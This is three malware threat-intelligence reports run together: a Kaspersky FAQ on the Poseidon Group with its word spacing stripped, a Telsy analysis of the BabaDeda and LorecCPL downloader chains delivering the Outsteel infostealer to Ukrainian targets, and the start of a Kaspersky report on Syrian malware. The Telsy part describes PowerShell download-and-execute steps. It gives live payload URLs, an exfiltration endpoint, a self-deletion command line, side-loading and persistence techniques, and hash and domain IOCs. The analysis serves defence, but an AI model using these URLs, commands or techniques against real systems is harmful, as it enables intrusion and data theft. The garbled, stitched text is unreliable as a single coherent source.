Oncetheinfectionhappens,itreportstothecommandandcontrol serversbeforebeginningacomplexlateralmovementphase.
Thisphasewilloftenleveragea specializedtoolthatautomaticallycollectsawidearrayofinformationincludingcredentials,group managementpolicies,andevensystemlogstobetterhonefurtherattacksandassureexecutionof theirmalware.
Thiswaytheattackersactuallyknowwhatapplicationsandcommandstheycanuse withoutraisinganalerttothenetworkadministratorduringlateralmovementandexfiltration.
WhatdoesthePoseidonGroupdo?Whathappensafteratargetmachineis infected?
Oncethetargetsmachineiscompromised,theattackerfirstenumeratesallprocessesrunninginthe systemandallservices.
Thentheattackerlooksforalladministratoraccountsonboththelocal machineandthenetwork.
Thistechniqueallowsthemtomapnetworkresourcesandmakelateral movementsinsidethenetwork,landingintheperfectmachinetomatchtheattackersinterest.
This reflectsthePoseidonGroupsfamiliaritywithWindowsnetworkadministration.
Inmanycases,their ultimateinterestistheDomainController.
Additionallymalwarereportsitselftoitshardcodedcommandandcontrolserversandestablisheda backdoorconnection,sotheattackermayhaveapermanentremoteconnection.
WhatarethemalicioustoolsusedbythePoseidonGroup?Whataretheir functions?
Poseidonutilizesavarietyoftools.
Theirmaininfectiontoolhasbeensteadilyevolvingsince2005, withcoderemnantsremainingthesametothisday,whileothershavebeenalteredtofitthe requirementsofnewoperatingsystemsandspecificcampaigns.
Anoteworthyadditiontothe PoseidontoolkitistheIGTsupertool(InformationGatheringtoolkit),abulking15megabyte executablethatorchestratesaseriesofdifferentinformationcollectionssteps,exfiltration,andthe cleanupofcomponents.
Thistoolappearstobedesignedtooperateonhighvaluecorporate systemslikeDomainControllersorIISserversthatactasrepositoriesofvaluableinformation, particularlyforlateralmovement.
TheInformationGatheringTool(IGT)tooliscodedinDelphiand includespowershellandSQLcomponentsacrossadozendifferentdrops.
Thistoolcontainsseveral otherexecutablefilesmadeindifferentprogramminglanguagesrangingfromVisualBasic6toC, eachoneperformingaverycleartaskdevisedbythegroupwhentryingtoobtainmoreinformation fromanobjective.
ThemainpurposeoftheIGTtoolistomakeaninventoryofthesystem,saving informationfromthenetworkinterfacesandaddresses,credentialsbelongingtotheDomainand databaseserver,servicesbeingrunfromtheOSandeverythingthatcouldhelpthePoseidonGroup makeitsattackmorecustomizedtoitsvictim.
Aretheattackersusinganyzerodayvulnerabilities?
Nozerodayvulnerabilitieshavebeenfoundintheanalysisofthesamplesobtainedregardingthis campaign.
Poseidonsconventionalmeansofdeceivinguserswithexecutablefilesposinginside WordandRTFdocumentfiles,andactualpoisoneddocumentswithmaliciousmacroscriptshas beenthesolemethodusedforcompromisingtheirdesiredtargets.
Aswehaveseeninother targetedcampaigns,socialengineeringandcarefullycraftedspearphishingattacksplayacrucial roleintheeffectivenessofgettingafootholdinthedesiredsystem.
IsthisaWindowsonlythreat?WhichversionsofWindowsaretargeted?
PoseidonisparticularlyfocusedontheMicrosoftWindowsoperatingsystemfamily,specifically customizingtheinfectionmethodforeachonesoastogatherdifferentinformationandhideits presenceaftertheinitialinfection.
Otherproductsusuallyfoundincorporateenvironments,suchas anSQLserver,arebeingusedforlateralmovementandcredentialharvestingusingacustomized toolsetdesignedbythecraftyPoseidonGroup.
BecauseofPoseidonslongevity,therearesamples targetingWindowssystemsasearlyasWindowsNT4.0ServerandWindows95Workstationupto currentversionslikeWindows8.1,aswellasservervariants(veryimportanttothem,giventhe emphasisonreachingDomainControllersincorporateenvironments.)
Howisthisdifferentfromanyothertargetedattack?
Theextortionelementsofthiscampaignarewhatsetitapartfromothers.
Theexfiltrationofsensitive dataisdoneinordertocoercethevictimintoabusinessrelationshipunderthethreatofexchanging thisinformationwithcompetitorsorleveragingitaspartofthecompanysofferingofinvestment forecasting.
AdditionallythisisthefirsteverpubliclyknownPortuguesespeakingtargetedattacks campaign.
AretheremultiplevariantsofthePoseidonGroupsmalware?Arethereanymajor differencesinthevariants?
Poseidonhasmaintainedaconsistentlyevolvingtoolkitsincethemid2000s.
Themalwarehasnot avoideddetectionbutinsteadbeensoinconspicuousastonotarousemuchsuspicionduetothefact thatthismalwareonlyrepresentstheinitialphaseoftheattack.
Analtogetherdifferentcomponentis leveragedoncePoseidonreachesanimportantmachinelikeanenterprisesDomainController.
This iswherethemaincollectiontakesplacebyuseoftheIGT(InformationGatheringTool)toolkit.
IsthecommandandcontrolserverusedbythePoseidonGroupstillactive?Have youbeenabletosinkholeanyofthecommandandcontrols?
PoseidonGrouphasinterestingpracticeswhenitcomestoitsuseofcommandandcontrolservers, includingredundanciesandquicklydiscardingcommandandcontrol(CCs)serversafterspecific campaigns.
Thishasactuallyallowedustosinkholeseveraldomains.
Afewofthesestillhadactive infectionsattemptingtoreporttotheCCs.
Thisaddsaninterestingdimensiontothestory.
Aspartof KasperskyLabscommitmenttosecuringcyberspaceforeveryone,wereachedoutandnotified identifiablevictims,regardlessoftheirsecuritysolutionandprovidedthemwithindicatorsof compromise(IOCs)tohelprootouttheactiveinfection.
Intheprocess,wewereabletoconfirmthe previouslydescribedoperatingproceduresforthePoseidonGroup.
Isthisastatesponsoredattack?Whoisresponsible?
Wedonotbelievethistobeastatesponsoredattackbutratheracommercialthreatplayer.
Collaborationwithinformationsharingpartnersandvictiminstitutionsallowedustobecomeawareof themorecomplicatedbusinesscycleinvolvedinthisstory,greatlyaddingtoourresearchinterestin trackingthesecampaigns.
ThemalwareisdesignedtofunctionspecificallyonEnglishand Portugueselanguagesystems.
ThisisthefirsteverPortuguesespeakingtargetedattackcampaign.
Howlonghavetheattackersbeenactive?
Theattackershavebeenactiveformorethantenyears.
Themaindistributionofsamplesgoesback to2005withpossibleearlieroutliers.
OperatingsystemssuchasWindows95fordesktopcomputersandWindowsNTforservereditions werenotuncommonatthetimeandPoseidonsteamhasevolvedgraduallyintotargetingthelatest flagshipeditionsofMicrosoftsoperatingsystems.
RecentsamplesshowinterestinWindows2012 ServerandWindows8.1.
Didtheattackersuseanyinteresting/advancedtechnologies?
Duringaparticularcampaign,conventionalPoseidonsamplesweredirectedtoIPsresolvingto satelliteuplinks.
Thenetworksabusedweredesignedforinternetcommunicationswithshipsatsea whichspanagreatergeographicalareaatnearlyglobalscale,whileprovidingnearlynosecurityfor theirdownlinks.
Themalwareauthorsalsopossessaninterestingunderstandingofexecutionpolicieswhichthey leveragetomanipulatetheirvictimsystems.
TheycombinereconnaissanceofGPO(GroupPolicy Objectmanagementforexecution)withdigitallysignedmalwaretoavoiddetectionorblockingduring theirinfectionphases.
Thesedigitalcertificatesareoftenissuedinthenameofrogueandlegitimate companiestoavoidarousingsuspicionfromresearchersandincidentresponders.
DoesKasperskyLabdetectallvariantsofthismalware?
Yes,allsamplesaredetectedbysignaturesandalsoheuristics.
WithafullyupdatedKasperskyLab antimalwaresolution,allcustomersareprotectednow.
KasperskyLabproductsdetectthemalware usedbyPoseidonGroupwiththefollowingdetectionnames: Backdoor.
Win32.Nhopro HEUR:Backdoor.
Win32.Nhopro.gen HEUR:Hacktool.
Win32.Nhopro.gen Howmanyvictimshaveyoufound?
Atleast35victimcompanieshavebeenidentifiedwithprimarytargetsincludingfinancialand governmentinstitutions,telecommunications,manufacturing,energyandotherserviceutility companies,aswellasmediaandpublicrelationsfirms.
Thearchaeologicaleffortofunderstandingsuchalongstandinggroupcanseverelycomplicate victimidentification.
Weseetracesofupwardsofafewtensofcompaniestargeted.
Theexact numberofthevictimsmayactuallyvary.
Sinceitisaverylongtermgroup,somevictimsmaybe impossibletoidentifynow.
Atthistime,wearereachingouttovictimsofactiveinfectionstoofferremediationassistance,IOCs, andourfullintelligencereporttohelpthemcounteractthisthreat.
Anyvictimsorpotentialtargets concernedaboutthisthreatshouldpleasecontactusatintelreportskaspersky.com.
Whoisbehindtheseattacks?
Wedonotspeculateonattribution.
Languagecodeusedtocompileimplants,aswellasthe languageusedtodescribecertaincommandsusedbythegroup,actuallycorrespondstoPortuguese fromBrazil.
TheinclusionofPortugueselanguagestringsandpreferenceforPortuguesesystemsis prominentthroughoutthesamples.
ThetaskingofPoseidonscampaignsappearstobeheavilyfocusedonespionageforcommercial interests.
Speculatingfurtherwouldbeunsubstantiated.
Referencesampleshashes: 2ce818518ca5fd03cbacb26173aa60ce f3499a9d9ce3de5dc10de3d7831d0938 0a870c900e6db25a0e0a65b8545656d4 mailto:///intelreportskaspersky.com 2fd8bb121a048e7c9e29040f9a9a6eee 4cc1b23daaaac6bf94f99f309854ea10 2c4aeacd3f7b587c599c2c4b5c1475da f821eb4be9840feaf77983eb7d55e5f6 2ce818518ca5fd03cbacb26173aa60ce Commandandcontrolservers: akamaihub[.
]comSINKHOLEDbyKasperskyLab igdata[.
]netSINKHOLEDbyKasperskyLab mozillacdn[.
]comSINKHOLEDbyKasperskyLab msupdatecdn[.
]comSINKHOLEDbyKasperskyLab sslverification[.
]netSINKHOLEDbyKasperskyLab FormoreaboutcounterPoseidonandsimilarattacks,readthisarticleintheKaspersky BusinessBlog.
https://business.kaspersky.com/poseidon-apt/5165/
TELSY S.p.
A. Corso Svizzera, 185 - 10149 Torino  ITALIA Via del Pellegrino 155 - 00186 Roma - ITALIA tel 39.011.771.4343 - fax 39.011.741.9090 email: telsytelsy.it BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Cyber Reports 16/02/2022 Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 2 INDEX 1 Introduction .................................................................................................................................... 3 2 Analysis ........................................................................................................................................... 4 2.1 Double BabaDeda crypter downloaded from LNK or docm template ................ 6 2.1.1 First Stage ........................................................................................................................................ 8 2.1.2 WhisperGate Code OVERLAP .................................................................................................. 19 2.2 BABADEDA Crypter Dropped from a new Downloader ......................................... 22 2.3 LorecCPL downloads ASPProtected Outsteel ............................................................ 27 3 Indicators of Compromise ........................................................................................................ 33 4 ATTCK Matrix ............................................................................................................................ 34 Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 3 1 Introduction Beginning in January 2022, there was a series of attacks on numerous organizations in Ukraine spanning the government, the military, non-governmental organizations (NGOs), with the primary intent of exfiltrating sensitive information and maintaining access.
Based on these new details and Telsys threat hunt, we uncovered several links that strongly support the idea that these attacks were part of a larger campaign that has been running for a few months and has undergone several evolutions.
In this way we have mapped the various clusters and in particular three chains of infection, composed of a series of techniques and procedures, with several significant elements that we consider important to better understand the various phases implemented.
One of the most used access vectors in these campaigns are spear-phishing emails with malicious attachments.
Phishing attachments contain a first-stage payload that downloads and executes additional payloads.
The main payload provided by the malware is an infostealer written in AutoIt compiled (OutSteel).
Its main goal is to steal files from the victims machine by uploading them to a default Command and control (C2) server.
The element detected in these latter chains is the downloader used to load the infostealer Outsteel.
In the past this was loaded by the SaintBot tool while in these campaigns, it is loaded by the BabaDeda crypter.
Based on victimology and the fact that this attack attempts to steal files from government entities, it is assumed to be a state-sponsored group.
Some evidence suggests that these activities are carried out by a hacker group called Lorec53 as namede by the security firm NSFocus.
The group is suspected of being employed by other high-level espionage organisations to conduct espionage attacks, targeting government employees in Georgia and Ukraine.
This group uses the infostealer Outsteel and the downloader LorecCPL, both of which have overlapping code with the same artefacts identified in the campaigns analysed in this report.
We can therefore assume that the BabaDeda crypter is also one of the tools in use by this group.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 4 entities graph 2 Analysis Telsy detected several infection chains starting with different initial stages: document template, LNK file or a CPL file representing a new type of downloader very similar to a shellcode in the way the stack is used.
The second phase uses the BabaDeda crypter to run the infostealer called OutSteel.
BabaDeda Crypter is an evasive malware that acts like an installer and executes a shellcode stored encrypted in a file usually, xml or pdf, dropped by the installer self.
The main binary of BabaDeda Crypter its a malicious binary, compiled with text segment writable, that has only the purpose to load the 1st malicious library.
The first malicious DLL side loaded decrypt the shellcode storing it in the text section of the main binary and loads/execute the secondary malicious library in another thread then return to the decrypted shellcode.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 5 The decrypted shellcode represents the real payload embedded in the installer by the threat actor while the 2nd malicious library can embed every kind of malware.
In the samples that we found the 2nd library is used sometime as downloader and in other cases as thread to achieve persistence, it depends by the stage.
execution process graph Below a kind of time line that describes how the tools were employed in the time, most likely, by the same threat actor.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 6 2.1 Double BabaDeda crypter downloaded from LNK or docm template This infection chain, which can be placed in the period September / October 2021 according to the compilation times, starts with a link (LNK) or a WORD template document that downloads the BabaDeda crypter.
The BabaDeda crypter includes Outsteel as a payload and a downloader as 2nd library.
execution process graph The lnk file with hash 931a86f402fee99ae1358bb0b76d055b2d04518f, most likely distributed by e-mail, named   .lnk (Special documents of the SBU.lnk) is, clearly, a decoy document for Ukrainian defense officers.
This lnk file was contained in zip archives hosted on discord.
When open it executes a PowerShell command to download and execute the first phase from the URL:  hxxp: //3237.site/test01.exe The downloaded executable with hash 0d584d72fe321332df0b0a17720191ad96737f47 is stored in the public directory and it is executed from the PowerShell self.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 7 Instead the document with hash ac672a07c62d48c0a7f98554038913770efaef11 is a word dotm model and starts the first phase of the infection in the same way as the lnk file, downloading and executing the same artifact through PowerShell: hxxp://3237.site/test01.exe.
The following document header suggests that this document may have been used after September 2021.
Addition to the decision of the National Security and Defense Council of Ukraine of September 7, 2021 On Amendments to Personal Special Economic and Other Restrictive Measures (Sanctions) The template contains a macro that on the open event drops a cmd file with a PowerShell command inside.
The cmd file is stored in C:\Users\Public\Documents\programtwo.cmd and contains the PowerShell command to download the artifact from URL hxxp: //3237.site/test01.exe and save it in C:\Users\Public\Documents\manlevel.exe.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 8 As in the previous LNK document the PowerShell command runs the downloaded file.
Also, the WORD template has been hosted on discord and is most likely downloaded as a remote template from a docx released by email.
2.1.1 First Stage Both files, lnk and WORD template, downloads the same installer has been created with Inno Setup.
Once executed, it extracts all the components in the path: C:\Users\admin\AppData\Roaming\mXParser.
The main executable, named mathparser.exe whose hash is 26474ba449682e82ca38fef32836dcb23ee24012, is executed directly by the installer after all the components have been extracted.
This installation is a BabaDeda crypter, i.e.
a type of loader.
In fact, as described in the blog of the security company Morphisec, it is used to evasively load a malicious payload stored in another file.
Since the analysis cited by the blog is exhaustive, it was not performed.
This loader was reported in November 2021 in connection with attacks against the NFT and Crypto community.
Instead, it was used in these campaigns, leading to the Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 9 assumption that it could be code reuse or the action of the same cybercriminal group in favour of a state-sponsored threat actor.
Basically, the BabaDeda crypter phases are: 1.
Main Binary load and run a malicious DLL 2.
The malicious DLL load and execute in another thread the second malicious DLL 3.
The first malicious DLL read and parse the shellcode and write it in the text section of the main binary 4.
The first malicious DLL returns to the shellcode entry point 5.
The decryption shellcode has three main tasks: first, it extracts the loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted loader shellcode.
6.
Finally, the payload is executed.
Since the second loaded DLL and the final payload can be customised, BabaDeda crypter can be used to load any type of installation, in fact in this particular infection chain the first installer is intended to download and run another BabaDeda crypter.
This differs from the analysis carried out by the company Morphisec in November 2021 in which the samples analysed were only used to directly upload malicious artefacts.
The mathparser installation directory contains the following malicious files: NAME SHA1 PURPOSE mathparser.exe 26474ba449682e82ca38fef32836dcb23ee24012 Main malicious Binary JxCnv40.dll 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 1st Loaded DLL libics4.0.dll e1d92e085df142d703ed9fd9c65ed92562a759fa 2nd Loaded DLL manual.pdf 8423b25054aa78535c49042295558f33d34deae1 Shellcode Container So, the main binary before loading the library named JxCnv40.dll set the current directory to the right path to be sure that side loading technique works.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 10 This library, whit hash 7d44391b76368b8331c4f468f8ddbaf6ee5a6793, run in a thread the second malicious library.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 11 Basically, the first library open manual.pdf reads all the content, then starts a new thread and after copy the 0x226 bytes from the file content into the main binary text section.
The main binary is compiled with text section writable, so it does not need any virtual protect API.
The shellcode taken from the file is located at a specified offset and it has a fixed size, this means that the BabaDeda crypter is not so ductile, indeed the binary is strictly linked to the shellcode and the file that contains the shellcode.
This makes harder to re-use it without having the BabaDeda crypter build tools.
A threat actor could use it changing the offsets manually to load another shellcode of different length from another file.
Below the routine that loads the second library: Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 12 Meanwhile the second library is executed in another thread, the final payload is decrypted and executed in the main binary thread.
The payload named Outsteel sends the documents to be exfiltrated to the URL hxxp://185.244.41.109:8080/upld/.
This IP was disclosed as an IoC by the Ukrainian CERT in February 2022, although the same has been in use since at least October 2021.
The final payload was decompiled with AutoIt tools and a code snippet follows.
Outsteel snippet code The second library, with hash e1d92e085df142d703ed9fd9c65ed92562a759fa, is a mere downloader.
Its main and only purpose is to download the next stage and run it.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 13 Then the library with hash e1d92e085df142d703ed9fd9c65ed92562a759fa downloads from the URL hxxp://smm2021.net/load2022.exe the artefact, stores it in the path C:\Users\user\Downloads\installation.exe and finally executes it.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 14 The downloaded file represents the second BabaDeda crypter installation and has hash: 75afd05e721553211ce2b6d6760b3e6426378469.
In particular, once executed, it runs an msiexec command to extract each component of the installation to C:\Users\admin\AppData\Roaming\AdoptOpenJDK\Network OpenJDK 11 2.1.11.53.
After that, the main binary is executed automatically.
The malicious files released are: NAME SHA1 PURPOSE adfrecorder.exe adea1f5656c54983880c4f1841df85016828eece Main malicious Binary ff_wmv9.dll ba9cea9ae60f473d7990c4fb6247c11c080788d3 1st Loaded DLL libegl3.dll 3a0a4e711c95e35c91a196266aeaf1dc0674739d 2nd Loaded DLL usage.pdf fa7887bc9d48fcfc6fd0e774092ca711ae28993a Shellcode Container The workflow is quite like the previous, the difference is in the final payload and in the second malicious library.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 15 The library ff_wmv9.dll, with hash ba9cea9ae60f473d7990c4fb6247c11c080788d3, is executed to decrypt the final payload and loads the second library.
It opens the library usage.pdf reads the content, create a new thread and it copies in text segment the shellcode located at a specific offset and run it.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 16 The second library is loaded and executed.
The second library achieves the persistence creating a link file pointing to the main binary in the start-up directory.
The link file is created via COM object interface, in particular using the IShellLinkW interface.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 17 The start-up directory is obtained using SHGetFolderPathW() API.
.
Meanwhile the second library gains the persistence, the main thread run the real payload after that it is decrypted as described for BabaDeda crypter.
To have the final payload the main binary has been dumped just after the decryption phase.
The final payload is a downloader that tries to download the next stage and run it in another process.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 18 Threat actor used a particular way to check the file size.
It run a stat() and checked the size field.
If it is 1 then the file and the malware is removed otherwise it is executed.
The downloaded file is executed in a new process.
On the other hand, below the function to delete itself.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 19 Unfortunately, the C2 hxxp://45.12.5.62/timestamp in hex was not working so no further payloads are available.
2.1.2 WhisperGate Code OVERLAP Some similarity has been found between the final payload, especially in the self-deletion routine.
In particular the similarity is with the file having the hash 34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907, i.e.
the file Wiper.
Indeed the file wiper reported by Unit42 in shows that the self-deletion command string is almost identical.
Below the two strings used: Executable Command File Wiper (WhisperGate) cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10  Nul  Del /f /q \s\ adfrecorder.exe (final payload) cmd.exe /min /C ping 111.111.111.111 -n 1 -w 10  Nul  Del /f /q s In the following snippet the difference between the two functions.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 20 adfrecorder.exe (final payload) File Wiper (WhisperGate) Also the routine to run the command is very similar.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 21 adfrecorder.exe (final payload) File Wiper (WhisperGate) Although the code is quite similar, at the same time it can be quite common.
Nevertheless, the CMD command, its options and the use of the IP 111.111.111 as a whole suggest a similarity between the two artefacts.
In addition, both malware processes close after execution of the CMD command.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 22 2.2 BABADEDA Crypter Dropped from a new Downloader The second infection chain analysed begins with an archive containing a file with the extension .cpl that subsequently downloads the BabaDeda crypter.
Based on the compilation date of the cpl file, it is assumed that this campaign can be traced back to November 2021.
execution process graph In terms of analysis, looking at a CPL file is essentially identical to a DLL file.
However, unlike the latter, it is automatically run when double-clicked.
This makes it similar to EXE files however uneducated users may be more likely to try to execute CPL files if they do not know any better.
These files with the extension CPL have code overlaid with LorecCPL described by the security company NSFocus.
The zip archive, with hash 33ddc1b13c079001eaa3514de7354019fa4d470a, was hosted on discord and contains the LorecCPL file with hash: 3bbe45cdcc2731c0bb4751d1098eccc50f98ef66.
The latter is named: Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 23 PDF      ______________________-pdf.cpl which means PDF  Instructions for receiving the vaccination bonus ________________________- pdf.cpl The LorecCPL file downloads an MSI file and installs it in the path: C:\Users\admin\AppData\Roaming\3delite\Memory Test Toolkit.
The LorecCPL file is therefore only a downloader and has a structure similar to a shellcode as shown in the following figure: Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 24 Basically, the code and the useful data are both in the text section.
The return address in the stack is used to insert the address of the value that will be used by the call.
The following routine is used to find the module addresses , walking the PEB structure: Once the address of the library has been obtained, of course the necessary APIs will actually be resolved: Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 25 The function to find the library address and to resolve the API name are used few times to get the address of the APIs LoadLibraryW() and GetProcAddr(), respectively the addresses are stored in the EDI and ESI registers.
So further in the code when a library or a API should be resolved the EDI/ESI register are used to call the proper API.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 26 The library downloads an executable, with hash 7b67ed1f42e5cf388a0a981566598E716D9B4F99 from the URL CDN.Discordapp.com/attachments/908281957039869965/911202801695/9112028016965 /91120280162882172/adobeaacrobatreaderUpdate.exe using the WinHTTP library, saves it in the path: C:\Users\Public\svchosts.exe and finally executes it.
The file with hash 7b67ed1f42e5cf388a0a981566598e716d9b4f99 install BabaDeda crypter and starts the main malicious binary named also in this case mathparser.exe.
The malicious files extracted are always the same: NAME SHA1 PURPOSE mathparser.exe f2b8ab6f531621ab355912de64385410c39c1909 Main malicious Binary JxCnv40.dll 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 1st Loaded DLL Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 27 libics4.0.dll e1d92e085df142d703ed9fd9c65ed92562a759fa 2nd Loaded DLL manual.pdf 8423b25054aa78535c49042295558f33d34deae1 Shellcode Container The LorecCPL libraries have been used to download Outsteel or BabaDeda crypter.
Outsteel snippet code 2.3 LorecCPL downloads ASPProtected Outsteel This infection chain according to the compilation time is of December 2021, differently from the previous one it does not uses BabaDeda crypter as loader but just uses LorecCPL to download Outsteel packed.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 28 The chain starts with an archive, with hash 0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203, containing a LorecCPL file, with hash f9d5b4cd52b42858917a4e1a1a60763c039f8930, and named pdf -      .cpl .
The CPL file, having the text segment writable,  decrypts the real code via xor and then jump on it.
After the xor operation the code goes on the decrypted zone and execute the usual LorecCPL flow, i.e.
putting arguments on the stack as return address and use them in functions.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 29 Indeed dumping the process the visual of the code is equals to the previous one.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 30 The LorecCPL will download from stun.site/zepok101.exe the Outsteel infostealer, with hash dbc9c8a492ae270bb7ed845680b81b94483ab585, packaged with the ASProtect tool .
After decompressing and unpacking it, the Outsteel infostealer was found to exfiltrate documents on C2: hxxp://185.244.41.109:8080/upld/ Outsteel snippet code Belonging to the same campaign, for the same infection chain and period there is another archive, with hash 66117493eed35fbd3824e35971b0919190cd1de7, hosted at the following URL: hxxp://flexspace.app/images/D0A2D09BD0A420D0B8D0BDD18 4D0BED180D0BC20D092D0A0D0A3.docx.rar.
This RAR file containing the usual LorecCPL file inside, with hash d0f1518db54f280dde5008404a2750641e76ceb2, named   .docx.cpl.
The LorecCPL file, just like the previous one, starts decrypting its payload and then acts like the previous downloading the Outsteel ASPRotected.
Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 31 LorecCPL file before decryption: LorecCPL file after decryption: Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 32 The LorecCPL will download the next stage Outsteel from the following URL: hxxp://stun.site/42348728347829.exe.
The next stage, with hash 942337f3ea28f553b47dc05726bb062befe09fef, is still packed with ASProtector.
The exfiltrated documents are still sent to the same IP address: 185.244.41.109.
Outsteel snippet code Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 33 3 Indicators of Compromise TYPE HASH PURPOSE DOTM ac672a07c62d48c0a7f98554038913770efaef11 Start Chain Document Template downloader LNK 93186f402fee99ae1358bb0b76d055b2d04518f Start Chain Link file downloader CPL 3bbe45cdcc2731c0bb4751d1098eccc50f98ef66 Start Chain CPL file downloader EXE (Installer) 0d584d72fe321332df0b0a17720191ad96737f47 BABADEDA Crypter Installer EXE (Installer) 75afd05e721553211ce2b6d6760b3e6426378469 BABADEDA Crypter Installer EXE 26474ba449682e82ca38fef32836dcb23ee24012 Mathparser.exe main binary EXE f2b8ab6f531621ab355912de64385410c39c1909 Mathparser.exe main binary DLL 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 JxCnv40.dll malicious library shellcode injector (1st stage) DLL ba9cea9ae60f473d7990c4fb6247c11c080788d3 ff_wmv9.dll malicious library shellcode injector (1st stage) DLL e1d92e085df142d703ed9fd9c65ed92562a759fa libics4.0.dll malicious library downloader (2nd stage) DLL 3a0a4e711c95e35c91a196266aeaf1dc0674739d libegl3.dll malicious library for persistence (2nd stage) PDF (Shellcode) 8423b25054aa78535c49042295558f33d34deae1 manual.pdf shellcode container PDF (Shellcode) fa7887bc9d48fcfc6fd0e774092ca711ae28993a usage.pdf shellcode container Archive 0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203 Archive (CPL container) CPL f9d5b4cd52b42858917a4e1a1a60763c039f8930 Outsteel downloader EXE dbc9c8a492ae270bb7ed845680b81b94483ab585 Outsteel Asprotected Archive 66117493eed35fbd3824e35971b0919190cd1de7 Archive (CPL container) CPL d0f1518db54f280dde5008404a2750641e76ceb2 Outsteel downloader EXE 942337f3ea28f553b47dc05726bb062befe09fef Outsteel Asprotected Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 34 DOMAIN - IP - URL smm2021.net http://smm2021.net/load2022.exe 3237.site http://3237.site/test01.exe 45.12.5.62 cdn.discordapp.com/attachments/908281957039869965/911202801416282172/AdobeAc robatReaderUpdate.exe 185.244.41.109 hxxp://185.244.41.109:8080/upld/ flexspace.app hxxp://flexspace.app/images/D0A2D09BD0A420D0B8D0BDD1 84D0BED180D0BC20D092D0A0D0A3.docx.rar stun.site http://stun.site/zepok101.exe 4 ATTCK Matrix Cyber Reports  16/02/2022 Telsy Report  BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine  Telsy 2022 35 Telsy is the Digital Champion of TIM Group for cybersecurity and cryptography.
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Syrian Malware, the ever-evolving threat Kaspersky Lab Global Research and Analysis Team Version 1.0 August 2014 2 TLP: Green For any inquire please contact intelreportskaspersky.com 1.
Executive Summary The Global Research and Analysis Team (GReAT) at Kaspersky Lab has discovered new malware attacks in Syria, with malicious entities using a plethora of methods from their toolbox to hide and operate malware.
In addition to proficient social engineering tricks, victims are often tempted to open and explore malicious files because of the dire need for privacy and security tools in the region.
In the hopes of maintaining anonymity and installing the latest protection, victims fall prey to these malicious creations.
A vast majority of the samples obtained were found on activist sites and in social networking forums.
